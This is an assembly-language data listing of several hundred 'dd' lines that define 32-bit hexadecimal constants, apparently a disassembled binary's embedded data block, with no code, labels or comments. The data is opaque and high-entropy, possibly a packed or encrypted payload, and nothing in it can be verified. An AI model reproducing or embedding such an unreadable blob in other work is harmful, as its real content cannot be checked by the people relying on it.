		dd 9F000863h, 1462A852h, 0FFE26800h, 570110Bh, 0E07A2C5Bh
		dd 943C400Ch, 290E3851h, 6D441274h, 6441D8C9h, 0B6101E13h
		dd 5700E2DDh, 87881FCEh, 489E9314h, 9F07FCD0h, 30410A44h
		dd 0B3631395h, 3D18D263h, 18BFE05Eh, 612B0182h,	28441CDEh
		dd 638CE8C0h, 8311A000h, 41471906h, 4045002Ch, 78D4A5B2h
		dd 1A090789h, 80594F5Fh, 94BCFA8h, 30447E1Dh, 0C840C156h
		dd 6828064h, 4819B1C8h,	7006A501h, 0A83405DBh, 1C882671h
		dd 3E73400Bh, 8C8D920Ch, 35030FCh, 9643D870h, 6329E56h
		dd 285E88Bh, 2E10D2EEh,	2721846Eh, 1CEEC4D3h, 84C0CA48h
		dd 8C81Ah, 0C1283CCBh, 9F098FB1h, 9408990Dh, 0A084140Ch
		dd 888D13C8h, 0BC9A5895h, 0F54865F0h, 0F06B0931h, 77E0116Fh
		dd 1D26ED70h, 997C5879h, 1193406Ch, 2980DD6Fh, 79F3086Bh
		dd 0DA174D4Fh, 2C22C207h, 5F60C09Bh, 771816D9h,	5D5C3034h
		dd 0F50049F3h, 0BA81645Bh, 2B5CF76h, 0B8DD4A67h, 14C38824h
		dd 0B0B3F1h, 13599004h,	0B118D0h, 0EFFA8F58h, 1106E262h
		dd 8AA0CB96h, 0C180958h, 0F4002CD7h, 425FB063h,	8E190202h
		dd 436B315Ah, 0B93DD158h, 3512C704h, 0C1203D29h, 0D8B183Fh
		dd 999DE5E7h, 72C9h, 0AE6A92E9h, 629AE5EDh, 977721A5h
		dd 5ED40B20h, 7407B84h,	0F8A5FB2Dh, 8D77F01Ch, 0DE0BD72Ah
		dd 2887337h, 0ABF5B70Ch, 2EC807A0h, 0B638EFC1h,	4545EDCh
		dd 0E855CA37h, 4F20CCCEh, 77AAB700h, 0C6D77953h, 91EC009Fh
		dd 0CFE03B97h, 0D3285094h, 95F8F844h, 0BA2E21ECh, 173F6CCCh
		dd 40219CE5h, 0BEFC41F5h, 0F13C3DE7h, 0C0F44F8Eh, 90ECAFC0h
		dd 7029112h, 779D8196h,	6F106008h, 415B0F61h, 24B4E5C3h
		dd 34D8EF03h, 3800DF74h, 0DA15C80Fh, 0A89B7843h, 348A388h
		dd 0B738CBA4h, 56E0B536h, 590E7263h, 80C7ED58h,	7E27CC9h
		dd 334B0FC4h, 8BE0E345h, 0C3D957E8h, 20942A12h,	0A2B55C0Eh
		dd 68C78Dh, 8EA35B96h, 79D58600h, 45C56E10h, 0C47528h
		dd 0D3363FFCh, 717F1788h, 0B5600B7Bh, 0C6226119h, 0FC73E072h
		dd 7CD71E3Dh, 6DD6C081h, 365C05FCh, 0DC692400h,	3FA864B2h
		dd 3E8A12DFh, 18FD188Ch, 9EC781FAh, 0A7F3029Ah,	0FED4C0F7h
		dd 0CBF097h, 283AEEC6h,	3F2DF2E6h, 0C48958C3h, 65C0D468h
		dd 0F883ED5h, 2692E3FCh, 81345701h, 87288350h, 6A19FF4h
		dd 0B6645D18h, 32039947h, 8B1F87Bh, 0CD680E0Ah,	8E3F355Bh
		dd 0CAE16CDCh, 801BFF8Bh, 3FFAF0A0h, 0C11EF2E5h, 9FC4C281h
		dd 2A588095h, 24FDF0D5h, 0F4FC0C6Ch, 631890F3h,	0C0A5F200h
		dd 0FFB7303h, 508DF060h, 187945Eh, 0E5AB572Fh, 43A75B4Eh
		dd 9010D6A4h, 0FF82F5D0h, 93106EB7h, 0EE21407Bh, 0E761C371h
		dd 769DC2C8h, 8C67E888h, 87F5D0D8h, 0FB99A000h,	31C0A81h
		dd 5BC9029Fh, 68181332h, 20F12856h, 0A3A1372Dh,	55048AA9h
		dd 43A65686h, 1C641810h, 0FE29801Eh, 3EF4A401h,	7144C93Fh
		dd 761A8880h, 3A656DCEh, 0EA292064h, 9135F740h,	2C001939h
		dd 133354ACh, 3E5071C9h, 7080E8F9h, 6AB006D7h, 0FD004337h
		dd 0E0608A8Ch, 57FA9ABh, 0A0CACCA3h, 8E68C09Dh,	1E035AB8h
		dd 73FEE0C1h, 0F52CA06Dh, 0D7360777h, 0F0713F2Fh, 8A043D7Ch
		dd 0C37B2A00h, 8C9EC0C2h, 95CEADAh, 20B21F4Dh, 21CB1600h
		dd 311E8096h, 500B7ED7h, 95140753h, 2D4DA9B0h, 354E00EFh
		dd 622419E2h, 6E0F7FE7h, 220DAE71h, 80FFA20Ch, 0C612DA94h
		dd 78311FEFh, 5889C00Bh, 2601FA84h, 2461AF00h, 22BB733Fh
		dd 6498005Ch, 0D2B2DF39h, 313B6C27h, 62300005h,	0E09BEC4Ah
		dd 1C8C036Ah, 22E9A1F4h, 0C38005AAh, 578E80E8h,	6D30CC00h
		dd 2579112Eh, 8A65001Ah, 0D0B96B7h, 270F9CA7h, 0A04CC3F1h
		dd 0AD5C1B5Ah, 3B3514EAh, 5600E442h, 78A2A4CDh,	0BD00BFC4h
		dd 0D9DCAB93h, 0FC91B0h, 1A6FD0F9h, 5643CB17h, 0AAF14Ch
		dd 0B50BD474h, 0F2C9893h, 4892B4D5h, 0BB21A2C0h, 0F009AB6h
		dd 51898725h, 478293Ch,	1130FA5Fh, 2164C0CAh, 4733EA09h
		dd 0C8E38626h, 306E57D8h, 0DDD2EF96h, 7100CE7Dh, 49F0EB5Bh
		dd 5D0E45h, 74F6FA4Dh, 0C92F108h, 9578B902h, 0E0236AD7h
		dd 0F0B62835h, 83D600D9h, 99BE8E9Bh, 0BA048451h, 6C435DCBh
		dd 0E8FF4EC0h, 0D42C5433h, 8F0A0048h, 0AA016B8Bh, 0E70086A6h
		dd 0CDA3C3C6h, 0C2E3E6h, 0BC0204ABh, 0DED94081h, 805ED33Bh
		dd 7F7DF2FEh, 39E141Eh,	8C303A79h, 3E3AC0Ah, 73C5981Eh
		dd 0E0E600FCh, 79EE6BC8h, 0B2910233h, 0BFEB8EECh, 0D3AF5840h
		dd 11B30500h, 1E7C6DD2h, 40026081h, 36960F37h, 99156014h
		dd 0C05903A8h, 0B4FF0865h, 0D450F9C0h, 6CC906Fh, 96DB4058h
		dd 0A7002891h, 0F9C7D735h, 0E89577h, 1DE646C0h,	0E75A176h
		dd 0DC536300h, 85FFD31Eh, 315002Ah, 1F6CD513h, 0E00C0CCh
		dd 616BEA3Dh, 6057BD2Fh, 491C3119h, 0F5604CCEh,	0E0F8650Eh
		dd 0EBC400A9h, 1C79D898h, 4304C6CAh, 55EDC18Fh,	0D1AD7880h
		dd 3AF42Ah, 90FED89Dh, 3BEF4EF0h, 25D78700h, 0A1FDDB42h
		dd 88E8024Dh, 73E246E7h, 155C3868h, 0E1573Ah, 218DAD27h
		dd 79B6C4h, 0DFF9F8AEh,	0E57090ABh, 0CCA00A03h,	0A3298763h
		dd 0CD7801D9h, 1A624AF1h, 0B0FEE427h, 0A01E798h, 0AF50B703h
		dd 6C34E3A8h, 138CA06Eh, 77A200B8h, 47D0E640h, 1C00126Ch
		dd 0BBF9A504h, 22118F45h, 8000EB60h, 1A3D39ACh,	903AB8h
		dd 0BB6FF28Dh, 51A93114h, 4D190900h, 5C10F8AFh,	0EA380F50h
		dd 0C79E1249h, 507CDD02h, 0C24D6E9h, 417A777h, 0FB0A20B1h
		dd 611D8EEEh, 24008F2Eh, 0A54D2509h, 0DE6200B2h, 9A687C01h
		dd 0E9760820h, 0DA004570h, 0CED02F32h, 95723Ch,	0B259B9E1h
		dd 8EDCF4BBh, 0CF0FF5F0h, 89C26478h, 0D90F80h, 0FEDAD5ABh
		dd 5F130FEFh, 9520EAECh, 58E796F6h, 0D23E5D00h,	0A855C901h
		dd 186A00D9h, 0B40CAAFh, 0F75D3741h, 19120024h,	103455ADh
		dd 4F703EC8h, 6C8DE480h, 8CAE04DDh, 0CB22BC00h,	0E15F5486h
		dd 7CA601A8h, 9BC5C7C4h, 40E03187h, 0AB0104ADh,	276D409h
		dd 978C03C3h, 0F52DD991h, 1D635E8h, 65B3402Fh, 24244CB2h
		dd 46031948h, 0D1F249CBh, 0D40EF075h, 0E4C71EA5h, 539B4E91h
		dd 0E03736C7h, 5DDFA8FBh, 8CD32624h, 5B7C7F00h,	16809749h
		dd 8CA19h, 7E509E00h, 7100A7B3h, 0C18E7670h, 0F290166Ch
		dd 0D1E068h, 0CBC40A28h, 0CC9B37A9h, 4F67B400h,	0A7331324h
		dd 0ADFB05FFh, 0C0B856B3h, 0DBDD3DE9h, 1B34D000h, 85679643h
		dd 607B7DC0h, 0EE21181h, 22C0358Dh, 7ACBBB6h, 0AE820E25h
		dd 0E920A04Fh, 2280EC96h, 0A0D25624h, 0AB603B01h, 0C864CC10h
		dd 29F2E5h, 814F8DBBh, 7A510B69h, 0E9003498h, 0BEAD6EC1h
		dd 0C9EAEDh, 0CFB709A2h, 85A063AFh, 79D53400h, 2B4A0459h
		dd 0FF8D00F6h, 9CA251B0h, 0BD2CE6E9h, 2C3B4480h, 0ED007858h
		dd 5B9BBB16h, 53A500E4h, 5AEB9247h, 10E67FACh, 0E13B5200h
		dd 31E65C66h, 1E271782h
		dd 0F31C40E3h, 356A0B9Bh, 94371400h, 687DE54Bh,	0A81E380Dh
		dd 0D4064000h, 4BF6C2Ch, 0AD9C5E00h, 7DCB8C33h,	0F9BA0061h
		dd 27E8904Eh, 1803C022h, 45ECEF58h, 7017B984h, 7C85C3D8h
		dd 1331225h, 7FEC0040h,	30F4DB2Dh, 0CFFC634Bh, 0E4B1A73Dh
		dd 88815F90h, 9EA47E10h, 2AF907A1h, 97648190h, 2D82C058h
		dd 80512C3Ch, 39266B43h, 0B87C136h, 0C0EEFA73h,	0A7E284AFh
		dd 2CA2971Dh, 3A431CCEh, 7FCB2805h, 0EB81DB03h,	1C483063h
		dd 9F622E28h, 0D0F80088h, 0B816F77Bh, 0D9452E00h, 201FFC32h
		dd 62950EDBh, 98608136h, 8DEBBEDEh, 69637D00h, 70E29064h
		dd 6DFD0197h, 8E457172h, 5E2420D4h, 536B9B00h, 0AE8958F3h
		dd 736C07B6h, 0C0AA99C0h, 78B4E596h, 4F3B5C7Bh,	944300A4h
		dd 91F6705Fh, 0BF6B0164h, 0F2335ED9h, 86FFFCFAh, 5300AFE8h
		dd 57BBA0D6h, 0F5E637Eh, 95F3B035h, 719C9DA0h, 59583DC1h
		dd 0FC9F008Fh, 48324A7Ch, 85635058h, 7308038Bh,	55283F66h
		dd 1CD44785h, 85C81099h, 7119FA93h, 1808837Dh, 3ED034h
		dd 0E6459991h, 562F5058h, 64248524h, 2B1FEB17h,	593272DCh
		dd 99973026h, 8385C611h, 3C21108Ch, 0C0998F07h,	665EC487h
		dd 74504526h, 0F0C381ADh, 18C579CFh, 0F000CD82h, 274F6D40h
		dd 6C92DAh, 9ABFC8F6h, 4320C95Fh, 8B15733h, 192100F0h
		dd 9084BFC0h, 0D35EE36Bh, 10282FFCh, 66420C89h,	9B687FC4h
		dd 0B4747441h, 247CE5h,	200B8C3Eh, 807CDC69h, 8B4010A0h
		dd 18225731h, 0A0C3926Ch, 24430297h, 3EB48393h,	3EFCD70Fh
		dd 2830A6E6h, 2ABCF800h, 377687CBh, 77C5006Bh, 229F12AFh
		dd 2D003BB5h, 20D03A6Ch, 0BF5B7B83h, 630549F8h,	6B61C38Bh
		dd 0C1562483h, 6EF8CA84h, 2C82588Fh, 77043068h,	92E1E686h
		dd 96880010h, 6C26A144h, 18009FE5h, 709D5D76h, 0B8E6FBB0h
		dd 0DCED06A2h, 29471F87h, 3F11D142h, 0B2F11172h, 214C9211h
		dd 0E20F1CBDh, 7521DD42h, 0BB84A910h, 42C94879h, 95254E51h
		dd 947A5048h, 447014B5h, 22848151h, 10FB7B4Dh, 0F8DBAEh
		dd 13D2D066h, 30ADEB54h, 98082F01h, 7A280E50h, 22C260h
		dd 458CAABCh, 64A1C90Ah, 0E2E72900h, 0ED084984h, 0F65D3CA0h
		dd 0BFC11280h, 0D5F0472Eh, 4A0057EAh, 0E579BADDh, 0F810C9h
		dd 24EC7703h, 56B02F28h, 8D1C5500h, 4FCF8785h, 0D5E813B5h
		dd 80281DEAh, 5A8A160Ah, 74003208h, 5450E678h, 7C2294h
		dd 0A19EC01Fh, 4803AA6h, 0B164F701h, 2C53E5FAh,	4E6D30h
		dd 0FBF44492h, 9616BDBBh, 0CF473603h, 80659F19h, 0FF9BF23h
		dd 21054DB7h, 5B9011E3h, 249228D1h, 7500680Ch, 9C50A71Dh
		dd 76A417E5h, 949100E9h, 774FC61Eh, 1900BF75h, 686E62Ch
		dd 8763D5h, 0BF1C5D9h, 1A2DD395h, 1877255Ch, 0F580D6F0h
		dd 8E780043h, 0F9BE67D9h, 101EADDDh, 0A7804F91h, 1D85965h
		dd 2ACF801Ah, 0E7C0AE01h, 7B3CDB3Bh, 6075FA20h,	2CA9122h
		dd 8F0046A4h, 1DEE8A69h, 39A565h, 4B24B727h, 7758E32Bh
		dd 0CD0F4F0Eh, 97805FB2h, 22416C72h, 0FC8F0C2Dh, 3C106E7Eh
		dd 0ADB53E1Dh, 4D0804C0h, 157981Ah, 88AC700Bh, 0CCE0BA45h
		dd 9E18156Ch, 36F893C6h, 0FD24035Ah, 0A1538376h, 705DE005h
		dd 21C02545h, 0A4A0CEh,	0E1CCCF2Ch, 5AB21CA9h, 4C036275h
		dd 8D710744h, 4166D83Dh, 0E6B07Bh, 8C6F153Ah, 0E7FC74E9h
		dd 7F693900h, 540B76DFh, 3179DBh, 2B63AB22h, 0BA5C068Ch
		dd 0DE254607h, 0A307903h, 272EAEEh, 0AB6D5083h,	0A4808552h
		dd 0E284483Bh, 9F3F5C02h, 402978BFh, 139569h, 0E5B58ADCh
		dd 3FAE68FAh, 0D0113600h, 0EF35548Dh, 0FA98ACh,	7094CE10h
		dd 6382F22Ch, 0C1489E75h, 698C0374h, 0F80A7533h, 0F42BE5h
		dd 26E89B6Fh, 0DACA5707h, 0CD547112h, 1D315040h, 0E7F3D8Ah
		dd 899EEF20h, 0AF3FCEE0h, 0A3001A40h, 9CAE0944h, 7E7240Ah
		dd 3ACCD4DAh, 0D606E0B4h, 10012C1h, 0A8437FAAh,	480483C8h
		dd 2B071C1Dh, 909EDD5Ah, 6CE7C722h, 0F800EB7Fh,	0F2E9C0A6h
		dd 325190Dh, 955C3047h,	32FF1FF5h, 0D04A56F7h, 5A642F80h
		dd 4501A08Eh, 0A668F3F2h, 0B980981Bh, 1EB7525Eh, 0B60004E6h
		dd 0A0BD5093h, 0C547FAh, 0EF10659h, 1A3AD366h, 48DE57E4h
		dd 34BC8947h, 6D984620h, 0AB5A003Dh, 8F74F766h,	8302A3DCh
		dd 1BC2217Eh, 0B5C840F1h, 0A10F00FBh, 50D31FBFh, 34907E84h
		dd 0D20C7800h, 0CD258D98h, 8CF0356h, 731D1FE8h,	0FF2BB598h
		dd 74D39B00h, 0E7C9A1F8h, 37E222h, 0C08749BEh, 3D324162h
		dd 0A460A500h, 8EE21E48h, 122A7424h, 1F7C907Bh,	2CE44011h
		dd 62C856DEh, 9D59E001h, 0CB051B04h, 1EE0830h, 10518CECh
		dd 3B64A7F6h, 7F896BA0h, 0A9E40048h, 0CC023E68h, 60EA3062h
		dd 4B003892h, 97CC3A3h,	9DA2C5h, 8A7EE0FFh, 0EBF752D0h
		dd 0FD1D2300h, 0B2CF969h, 4A8730C6h, 5F5A8E98h,	0C0F6E428h
		dd 914F4E00h, 0CB903621h, 0EA9F0046h, 42F0680Dh, 0C4D1CBEh
		dd 2E380414h, 10D060B7h, 3A4AF994h, 7870AACh, 0E0D086D9h
		dd 7D724416h, 54CBEB30h, 648C155h, 289E8C08h, 0B0170F8h
		dd 261C4E8Eh, 52FC6A7Ah, 63C20346h, 799E9DFh, 0D745B9D0h
		dd 72DE2A00h, 0BA10FCB2h, 0CB523E9Dh, 14D62980h, 5CBC3F8Fh
		dd 0A7EC0D00h, 0E02C4813h, 0D4220090h, 743D59FAh, 7C0012A6h
		dd 0DCB93117h, 0B248DD01h, 4B6D01CCh, 4184F834h, 58FD3071h
		dd 493F5092h, 171380C2h, 0C563A91Ch, 71C4F2F6h,	28DA043Dh
		dd 0C0878BF0h, 70A34E10h, 0A76AFD00h, 976CF838h, 0DC680091h
		dd 17199F64h, 0DE78D2EEh, 0FCAAB800h, 43E512F7h, 5BCB3D1Ah
		dd 57EFDF80h, 93DEF6E6h, 9AE4CE17h, 18884840h, 0A36CA42h
		dd 9DAA0535h, 3BEA00B8h, 2932844Ah, 0C5BDA0Ch, 0FE0189Bh
		dd 0D04E04A4h, 500B8961h, 446C2092h, 3A3073F6h,	0CC6F804Ch
		dd 0C01D5938h, 6C4E9A00h, 176493Eh, 69832300h, 0BF257D5Ah
		dd 0CB6000FEh, 811852A5h, 0A700CE92h, 66561FE5h, 1C65089h
		dd 449D2EA3h, 4397C01Ch, 60C893D6h, 31001E41h, 917461A9h
		dd 0F25C380h, 9F66BB78h, 0A56FF80h, 7890C7E4h, 0D3A3F701h
		dd 67A6CE1Dh, 4C33EDD5h, 3EF4010h, 42067986h, 0A78F98C6h
		dd 1B9C0069h, 0CEEFA96Dh, 0C801AEF3h, 30E77073h, 0BE84BC2h
		dd 7B2E038Ah, 0CBC61D18h, 9B8C98A0h, 0D066A26h,	40A312h
		dd 89CAED3Dh, 0C00F12F0h, 94C4149h, 205B366Fh, 0C8006B04h
		dd 5C029046h, 0CFE356h,	0F0422606h, 34C01EDCh, 700AEA73h
		dd 0B86F12F2h, 0F33E4A00h, 38D96780h, 720121B1h, 0D550F7D6h
		dd 5AC08096h, 1EED1B8Ah, 6B120061h, 259E4BDFh, 225C82E9h
		dd 0EF520A18h, 0FD0290D3h, 817CB4C5h, 233ED88Fh, 882C40DAh
		dd 0EF8F48A7h, 7FBFD000h, 3D9C5E28h, 0AF0029B0h, 0F3E3AAA9h
		dd 77AA713h, 5165E033h,	41C9D215h, 551B41DFh, 0A32C9E81h
		dd 0D89E8EECh, 0E001505Fh, 43786538h, 6C24A54Fh, 57CD0095h
		dd 0C38AD79Fh, 0AE00057Eh, 0B7F6365Eh, 7B125A7Ah, 266E468h
		dd 3975B58Fh, 0B080FF2Ch, 8CD54C11h, 0AE422E00h, 9E2945A7h
		dd 0F6600C4h, 0ED86E37Eh, 7D00015Bh, 0AB6B1831h, 4E0583h
		dd 11E2A2BEh, 0CC5C3EBh, 0D3DFFF00h, 0D346D0Bh,	75AA09C0h
		dd 48813AE8h, 0FBE9DA32h, 0CAAC3DF8h, 8F905B50h, 7B26139h
		dd 0FC5EB0C7h, 0C4DC8720h, 0F6E50CE2h, 0A978D38Bh, 0D23AB20Fh
		dd 0E1C49AEh, 0CE654090h
		dd 0E531D1Bh, 912D5E4Fh, 0A96424A0h, 20EA9BA4h,	1457A824h
		dd 39AD8700h, 64E79178h, 90B3C6DCh, 474C0D2Ch, 0F46C9900h
		dd 88E49306h, 0CD100FF8h, 9C20463Ah, 7DC14BC3h,	8A290509h
		dd 7F7400F1h, 3B736913h, 745C3C8Eh, 5A837C05h, 1CD003A5h
		dd 6124B292h, 7E673C34h, 0BA670018h, 897D03C6h,	40934937h
		dd 376076A7h, 340A73h, 4E1E917Eh, 8677E69Ch, 21FD9A03h
		dd 0B004BE19h, 0A275BC6h, 0AD7E24A3h, 63003EACh, 0EA837D25h
		dd 0DD301203h, 0C3C7808Bh, 0E84F0710h, 0E03C2BBAh, 20164896h
		dd 0F6688000h, 0E4866240h, 0C2D4003Ah, 0E0225DA4h, 0FFFA7CB9h
		dd 619CFA00h, 75B80520h, 2BD00B0Eh, 7480C5A9h, 5FA7EE08h
		dd 0A2F86900h, 0AEB11CF0h, 78C4A4Ch, 0C0382528h, 75DE04A3h
		dd 0ED4EF4A0h, 4B272307h, 3ED1A895h, 21F1FE22h,	1213A682h
		dd 94E0DC0Eh, 1A07A7A1h, 9994C843h, 0C1A897F2h,	48CCF542h
		dd 0D5910059h, 14F9542Bh, 5E1F5251h, 4180337Fh,	853A1C8Fh
		dd 4DB8000Bh, 2D4BAA90h, 873A71A6h, 0D7D680C4h,	8FBDDBFAh
		dd 0BF6B0E7Ah, 0C6C04643h, 0C877966Ch, 7E63E0Bh, 183A80FBh
		dd 1E16428h, 46E0DA4Ch,	0F59F726Bh, 6D803BDBh, 52C538h
		dd 3F6A3EF8h, 2DDD950Ah, 5DA1C200h, 62FEF77Bh, 698C0036h
		dd 6D749923h, 8F067F96h, 0F88B501Fh, 0AE6B2420h, 3C230090h
		dd 729B22C1h, 0F1855500h, 0CAB0907Ch, 0A34A25E9h, 0B5E50080h
		dd 11152EDFh, 0AC6E78h,	14080133h, 751A866h, 4F8EB6C8h
		dd 0C12D0C0h, 3200ABECh, 7A99F12Ah, 48ACF492h, 0FD1FA050h
		dd 3F208E3Ah, 2D51DC81h, 571F4B5h, 6D957000h, 896E8BB8h
		dd 1814335Dh, 0D4E85E08h, 4102597Dh, 0ECE2500Fh, 0D58B80EAh
		dd 3DF46Ah, 0D4F38586h,	0C2B2C01Dh, 98904000h, 342962FFh
		dd 8A6403AEh, 0F7D72A51h, 0CCC11900h, 0C52172F1h, 9C845090h
		dd 0E83C003Ah, 13CAB57Ah, 6713EAD7h, 0A4008E1Ch, 0C2092B7Eh
		dd 79B5FA3Bh, 14330027h, 286E90CBh, 1B01977Ah, 61CD39E8h
		dd 0CEC085A0h, 0F8EC98EDh, 4EA2040Ch, 0C0B9A5D4h, 0BEFE871Ch
		dd 169C891Dh, 0AC6F4705h, 15479C87h, 428DA9E1h,	0A1C270h
		dd 6AB5268Ah, 0FBE25665h, 9FF21118h, 0EAA076h, 77B407F8h
		dd 6587C74Ah, 1F2FB103h, 98B26CA2h, 0FC34DD7h, 0BA86ED8Bh
		dd 38CA8586h, 0D751C71h, 0F7605200h, 0AF9DCC63h, 2180FD18h
		dd 0CFD91F11h, 5A000437h, 2E77A6CDh, 7AAD1F0h, 0F5C51C7Fh
		dd 0B3D4C06Ah, 0F3000CE4h, 45BCE2D6h, 311B5A2h,	86139F1Eh
		dd 2D9B0DB8h, 9B77D0A7h, 0C20F5DC9h, 6659ACh, 0C6FD52BDh
		dd 0B772027Ch, 0F6A42164h, 4EA9CEE0h, 0A022600h, 62959D81h
		dd 0B5152EE2h, 93DF000Ch, 4AD11038h, 4CA62204h,	63C0A412h
		dd 0EE23DCh, 799D5CFCh,	698EDE35h, 0B3176A00h, 33AB5803h
		dd 0D0CB0031h, 2F832AF7h, 0DCF4E9B5h, 8B050B00h, 0B9692E50h
		dd 3FDB0395h, 0BFEF89C5h, 7E41F4B8h, 49005496h,	0E196695Eh
		dd 689C001Ch, 14D54492h, 0AA00C979h, 0B3A3E206h, 2ADF96h
		dd 72AF4DC6h, 0E923BB0Fh, 0FC84F000h, 73BC2764h, 343C007Fh
		dd 86A472A5h, 100F70Ch,	898417FBh, 0F63EC0B7h, 4739004Ah
		dd 0C7222A82h, 0AC001834h, 0BAA9C5DAh, 0B71A6Fh, 0EB9B28FAh
		dd 50D16820h, 4A57D000h, 7C7BC89Ah, 60CD00B2h, 0BC1BA81Eh
		dd 7E485F2Ah, 3BFC00DCh, 2BD960Ch, 720B004Eh, 577806D7h
		dd 23F2C17Eh, 371D9277h, 62801BBBh, 8C19076Ch, 617B5Eh
		dd 9BA9684Bh, 8E266DFCh, 0E2EA809h, 0E96F003Eh,	38798E6h
		dd 0C2554D3Ch, 0ECE067F0h, 2758E057h, 605A0088h, 0F517EA91h
		dd 0C2A0A095h, 8EED0BCDh, 4800D448h, 37D0EB9Dh,	0BE653202h
		dd 0D01997F9h, 0FC4A5CD4h, 12959080h, 0EF00B7DCh, 2FD59709h
		dd 0C0606129h, 8E4155E0h, 5A010A75h, 1B9B93A2h,	8C64998Fh
		dd 38028425h, 48CAAF63h, 79050F1h, 57DB8903h, 80D5F5DAh
		dd 0B62A36B8h, 0F3768C00h, 65A58D97h, 0F25DE2A3h, 866A00F8h
		dd 837007A1h, 4F7CC19Ch, 47687D60h, 0CE9044h, 0BBAB3B69h
		dd 96C81584h, 0E8FFA100h, 6E1C076h, 53BA0765h, 0D1DC2442h
		dd 0F4FB3960h, 1C027A7Fh, 3884A0E2h, 0AAAB60F6h, 80C95828h
		dd 276D8807h, 120D0035h, 0CA164898h, 0F0007CBAh, 8EF55632h
		dd 0D1ED00FBh, 84693CDBh, 0E0007A47h, 38E7A7D6h, 317ABCAh
		dd 0A31B1EDh, 6EA0EF7Eh, 0DA0056B3h, 5793792Ch,	7D7243h
		dd 0E6AA5212h, 0C32ECB2h, 214E8B00h, 8465EA1Eh,	0D57EF9h
		dd 48B576A3h, 30473805h, 3CB3F400h, 0F257E17Bh,	0A7613A66h
		dd 0D9995E80h, 0C844FDA1h, 0AB74B1Dh, 0EEA3E187h, 29BB0D90h
		dd 61DE00A0h, 0B76FE6CEh, 1900AFB0h, 25FE2DC1h,	0A414709h
		dd 7FAEBB5Dh, 0F39700B0h, 0EAB87EE0h, 0D36BFB01h, 0F04718C5h
		dd 3278F60h, 14569210h,	74A8A40Ah, 0B000F22Ch, 0D0114C89h
		dd 3C326DCAh, 4597D4F0h, 0D8390ADEh, 0BD09BAB0h, 0A40056D7h
		dd 54B31E3Ch, 9BA735Ch,	82258C99h, 0E0D09704h, 0C67A18h
		dd 0AD63223Dh, 93413F5Eh, 215F7E00h, 2B7DA071h,	9BD50701h
		dd 0D0F7530Dh, 411972EAh, 3694CD00h, 28B0AA3Bh,	1B8EA86h
		dd 3EA7964Eh, 0D485AF0Ch, 7002DFBh, 0CD1539C4h,	890945h
		dd 0CE41CC82h, 316A5346h, 7417A5A1h, 0AC00A17Ch, 0C26C00Fh
		dd 9E7D9Fh, 0B8F26ACDh,	62415861h, 0B7518800h, 9AFFFB77h
		dd 3D7800B0h, 5BBD2F18h, 2B00A7DDh, 0E7F42C5h, 304958h
		dd 0AEEC383Fh, 5DD4802Fh, 8B861100h, 204FCF53h,	0CB5650BBh
		dd 427D003Bh, 26E692FDh, 8900C962h, 17B1ABCDh, 0F64BD98h
		dd 0FDA29BEEh, 0A4375100h, 2D01DAC2h, 1612C776h, 4D305C88h
		dd 0D09226h, 37560C0Eh,	7895B242h, 24F7B403h, 0B861213Ah
		dd 9B1A69h, 19BD4A8Bh, 0D14399F3h, 1100947Dh, 6E0B38E9h
		dd 0BC5833h, 51C57669h,	24F33981h, 0DC5558h, 0D5AA1711h
		dd 7039F31h, 251A0A3Bh,	92883199h, 641C24E8h, 8058FB39h
		dd 2D38CE7Dh, 586791E0h, 1E79A8EEh, 402625F4h, 72691F75h
		dd 46010636h, 4C149EDCh, 0FCC882F0h, 0F0577B49h, 0F8190BF5h
		dd 677F51h, 620CCB79h, 39A43154h, 7BC4E101h, 0A6FCCBF3h
		dd 3CD8E071h, 0B5C16D4h, 1C3B00DAh, 6519D84Fh, 0B2316E0Fh
		dd 0C8A6202Bh, 1B60D3Ah, 23E7E83Fh, 0D8800C1Dh,	79182755h
		dd 350218Ch, 28E0007Bh,	0D82D52E5h, 6400A04Fh, 93241949h
		dd 7B9B52Ch, 8E9ABBF7h,	0C4627028h, 7A03BFE9h, 5561A6Eh
		dd 602BAA8Dh, 865798h, 87B3FE3Ah, 0EF195B2Fh, 0CC69E903h
		dd 0E0538F1Fh, 631AE0h,	734966Bh, 8B844732h, 82BA5200h
		dd 3CE8E6E4h, 9F690286h, 2258CF9Ch, 0A373D440h,	56335A00h
		dd 2E4E719Ah, 6B920081h, 8BB3671Dh, 0A8B045FDh,	92DF700h
		dd 2A7FD970h, 9FB60052h, 0C09A153Dh, 86030F6Ah,	7B24CDBh
		dd 0D480A48Ch, 27E23772h, 88145BFh, 207310C7h, 971ECC4h
		dd 919E3B11h, 5CEB4C03h, 74C0EDDBh, 0FC00B932h,	675465D7h
		dd 0F81B502Dh, 58776024h, 0B84ED2DBh, 790C071Eh, 5F13D040h
		dd 2DE8D6BFh, 9DD105h, 960F5E4h, 0FAF06CC4h, 3EA9F800h
		dd 0B131E37Dh, 38E671h,	0CB351269h, 0D8DE25AFh,	0BC5AF92Ch
		dd 0A0B97A00h, 0F115F23h, 193EF069h, 3A5C95E0h,	920067F6h
		dd 0BDE41B93h, 2EE929D9h, 8058B868h, 0C6158218h, 0B005A7A4h
		dd 0A06599DEh, 28519CF1h, 9C7CF1E6h, 7942F802h,	0EE22D68Dh
		dd 0A110E935h, 0F49C30h
		dd 8291C2EFh, 1F49DF33h, 4164A20Eh, 9DA3A25Ch, 62ECC038h
		dd 6DE2014Eh, 0A78E48EAh, 823CD845h, 10490230h,	67EBF4h
		dd 4CF17E81h, 6E5C307Bh, 4001B4Ah, 0E4BD5AE9h, 0AAB8021Dh
		dd 8C8D72C5h, 58399CA0h, 6B07F22Eh, 1E4A5E86h, 0C86CE3E0h
		dd 18F000E9h, 80CC5624h, 0BFEAB133h, 9E003CB8h,	20A864F3h
		dd 3D736CDh, 0E7B21D6h,	17E84315h, 6802A55Ch, 7C893745h
		dd 0A4DFE011h, 0CF490074h, 31B43B85h, 26FC011Dh, 8F043500h
		dd 0B3D732E2h, 33E674h,	8925C94Dh, 8CCBF6A9h, 5A2F3Ch
		dd 0F4496AE1h, 0A0A884FBh, 0C67CA5h, 899438D7h,	686613FDh
		dd 4427BB00h, 2259E06Ah, 0C185147Ah, 0AA01B8CEh, 0CD0649A0h
		dd 0C4002AA9h, 43D81BEh, 32480E5h, 1E077FF2h, 40ABFA7Dh
		dd 5F871850h, 463700FFh, 4C58DE80h, 4704CA9Ch, 0F8BC0E85h
		dd 2D314480h, 0C244BCB5h, 48F94CABh, 7CF66D40h,	6267BDEh
		dd 70E4D06Ah, 6EE4FE10h, 8318FD03h, 0A0784E02h,	3E14FCE5h
